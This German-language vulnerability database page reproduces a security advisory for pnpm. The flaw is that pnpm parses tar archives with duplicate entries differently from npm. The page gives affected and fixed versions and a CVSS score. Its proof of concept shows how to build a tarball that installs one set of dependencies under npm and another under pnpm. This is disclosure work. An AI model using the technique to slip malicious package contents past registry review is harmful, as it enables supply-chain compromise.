Hoch

pnpm incorrectly parses tar archives relative to specification

  • Veröffentlicht: 01.08.2023
  • Aktualisiert: 11.10.2026 10:22

Summary

It is possible to construct a tarball that, when installed via npm or parsed by the registry is safe, but when installed via pnpm is malicious, due to how pnpm parses tar archives.

Details

The TAR format is an append-only archive format, and as such, the specification for how to update a file is to add a new record to the end with the updated version of the file. This means that it is completely valid for an archive to contain multiple copies of, say, package.json, and the expected behavior when extracting is that all versions other than the last get ignored.

This is further complicated by that during tarball extraction, all package managers are configured to drop the first path component, so collisions can be created simply by using multiple root folders in the archive, even without performing updates.

When pnpm extracts a tar archive via tar-stream, it appears to extract only the first file of a given name and discards all subsequent files with the same name.

PoC

Create a root folder with the following layout:

  • a/package.json
  • package/package.json
  • z/package.json

File contents:

a/package.json

js
{
    "name": "test-package",
    "version": "0.1.0",
    "description": "This is a bad version of a test package",
    "dependencies": {
        "react": "^15"
    }
}

package/package.json

js
{
    "name": "test-package",
    "version": "0.1.0",
    "description": "This is a bad version of a test package",
    "dependencies": {
        "react": "^16"
    }
}

z/package.json

js
{
    "name": "test-package",
    "version": "0.1.0",
    "description": "This is the good version of a test package",
    "dependencies": {
        "react": "^17"
    }
}

Then use the tar binary to produce a tarball (working directory is the root folder): tar -c -z --format ustar -f package.tgz a package z The order of the folders at the end matters; whichever one is last will end up being the package.json that wins when extracted by npm; the one that is first will be the one that wins when extracted by pnpm.

Install the tarball via the file: protocol.

Observe that with npm, the lockfile has react@17, while with pnpm it has react@15.

Impact

This can result in a package that appears safe on the npm registry or when installed via npm being replaced with a compromised or malicious version when installed via pnpm.

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
npm-Paket pnpm < 7.33.4, >= 8.0.0, < 8.6.8 7.33.4, 8.6.8
npm-Paket @pnpm/cafs < 7.0.5 7.0.5
npm-Paket @pnpm/exe < 7.33.4, >= 8.0.0, < 8.6.8 7.33.4, 8.6.8
npm-Paket @pnpm/linux-arm64 < 7.33.4, >= 8.0.0, < 8.6.8 7.33.4, 8.6.8
npm-Paket @pnpm/linuxstatic-arm64 < 7.33.4, >= 8.0.0, < 8.6.8 7.33.4, 8.6.8
npm-Paket @pnpm/linux-x64 < 7.33.4, >= 8.0.0, < 8.6.8 7.33.4, 8.6.8
npm-Paket @pnpm/macos-arm64 < 7.33.4, >= 8.0.0, < 8.6.8 7.33.4, 8.6.8
npm-Paket @pnpm/macos-x64 < 7.33.4, >= 8.0.0, < 8.6.8 7.33.4, 8.6.8
npm-Paket @pnpm/win-x64 < 7.33.4, >= 8.0.0, < 8.6.8 7.33.4, 8.6.8

Verweise

CVSS-Wert 7.5/10
CVSS-Vektor
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
Schwäche (CWE)
CWE-284
Plattform
npm
Paket
pnpm, @pnpm/cafs, @pnpm/exe
Veröffentlicht
01.08.2023
Aktualisiert
11.10.2026 10:22

Quellen und Lizenzen

OSV / GitHub Advisory Database - GHSA-5r98-f33j-g8h7 - CC BY 4.0

Schwachstellenhistorie: @pnpm/linux-x64

Alle veröffentlichten Schwachstellen dieses Pakets (npm-Paket), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Dies ist die einzige bekannte Schwachstelle dieses Pakets.

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.